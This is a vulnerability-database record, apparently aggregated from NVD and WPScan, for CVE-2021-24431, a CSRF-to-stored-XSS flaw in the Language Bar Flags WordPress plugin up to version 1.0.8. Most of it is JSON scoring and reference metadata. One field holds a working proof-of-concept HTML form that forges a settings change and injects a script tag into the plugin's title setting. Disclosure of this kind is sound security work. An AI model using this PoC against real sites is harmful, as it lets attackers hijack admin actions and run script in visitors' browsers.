The Language Bar Flags WordPress plugin through 1.0.8 does not have any CSRF in place when saving its settings and did not sanitise or escape them when generating the flag bar in the frontend. This could allow attackers to make a logged in admin change the settings, and set Cross-Site Scripting payload in them, which will be executed in the frontend for all users
{"id": "CVE-2021-24431", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24431", "description": "The Language Bar Flags WordPress plugin through 1.0.8 does not have any CSRF in place when saving its settings and did not sanitise or escape them when generating the flag bar in the frontend. This could allow attackers to make a logged in admin change the settings, and set Cross-Site Scripting payload in them, which will be executed in the frontend for all users", "published": "2021-09-13T18:15:00", "modified": "2021-11-03T20:28:00", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.3}, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE", "baseScore": 4.3, "baseSeverity": "MEDIUM"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24431", "reporter": "contact@wpscan.com", "references": ["https://wpscan.com/vulnerability/ae50cec9-5f80-4221-b6a8-4593ab66c37b"], "cvelist": ["CVE-2021-24431"], "immutableFields": [], "lastseen": "2022-03-23T14:54:34", "viewCount": 12, "enchantments": {"dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:AE50CEC9-5F80-4221-B6A8-4593AB66C37B"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:AE50CEC9-5F80-4221-B6A8-4593AB66C37B"]}], "rev": 4}, "score": {"value": 3.8, "vector": "NONE"}, "backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:AE50CEC9-5F80-4221-B6A8-4593AB66C37B"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:AE50CEC9-5F80-4221-B6A8-4593AB66C37B"]}]}, "exploitation": null, "vulnersScore": 3.8}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": ["cpe:/a:language_bar_flags_project:language_bar_flags:1.0.8"], "cpe23": ["cpe:2.3:a:language_bar_flags_project:language_bar_flags:1.0.8:*:*:*:*:wordpress:*:*"], "cwe": ["CWE-352"], "affectedSoftware": [{"cpeName": "language_bar_flags_project:language_bar_flags", "version": "1.0.8", "operator": "le", "name": "language bar flags project language bar flags"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:language_bar_flags_project:language_bar_flags:1.0.8:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.0.8", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://wpscan.com/vulnerability/ae50cec9-5f80-4221-b6a8-4593ab66c37b", "name": "https://wpscan.com/vulnerability/ae50cec9-5f80-4221-b6a8-4593ab66c37b", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}]}
{"wpvulndb": [{"lastseen": "2021-11-26T19:04:29", "description": "The plugin does not have any CSRF in place when saving its settings and did not sanitise or escape them when generating the flag bar in the frontend. This could allow attackers to make a logged in admin change the settings, and set Cross-Site Scripting payload in them, which will be executed in the frontend for all users\n\n### PoC\n\nThen view the homepage of the blog to trigger the XSS \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 4.3, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 1.4}, "published": "2021-08-16T00:00:00", "type": "wpvulndb", "title": "Language Bar Flags <= 1.0.8 - CSRF to Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24431"], "modified": "2021-08-16T13:10:17", "id": "WPVDB-ID:AE50CEC9-5F80-4221-B6A8-4593AB66C37B", "href": "https://wpscan.com/vulnerability/ae50cec9-5f80-4221-b6a8-4593ab66c37b", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "wpexploit": [{"lastseen": "2021-11-26T19:04:29", "description": "The plugin does not have any CSRF in place when saving its settings and did not sanitise or escape them when generating the flag bar in the frontend. This could allow attackers to make a logged in admin change the settings, and set Cross-Site Scripting payload in them, which will be executed in the frontend for all users\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 4.3, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 1.4}, "published": "2021-08-16T00:00:00", "type": "wpexploit", "title": "Language Bar Flags <= 1.0.8 - CSRF to Stored XSS", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24431"], "modified": "2021-08-16T13:10:17", "id": "WPEX-ID:AE50CEC9-5F80-4221-B6A8-4593AB66C37B", "href": "", "sourceData": "<html>\r\n <body>\r\n <form action=\"https://example.com/wp-admin/options-general.php?page=langbf\" method=\"POST\">\r\n <input type=\"hidden\" name=\"options_update\" value=\"1\" />\r\n <input type=\"hidden\" name=\"langbf_active\" value=\"yes\" />\r\n <input type=\"hidden\" name=\"langbf_title\" value=\"<script>alert(/XSS/)</script>\" />\r\n <input type=\"hidden\" name=\"langbf_position\" value=\"top\" />\r\n <input type=\"hidden\" name=\"langbf_side\" value=\"left\" />\r\n <input type=\"hidden\" name=\"langbf_disable_wpbar\" value=\"yes\" />\r\n <input type=\"hidden\" name=\"langbf_new_window\" value=\"no\" />\r\n <input type=\"hidden\" name=\"Submit\" value=\"Save Changes\" />\r\n <input type=\"submit\" value=\"Submit request\" />\r\n </form>\r\n </body>\r\n</html>\r\n\r\nThen view the homepage of the blog to trigger the XSS\r\n", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}]}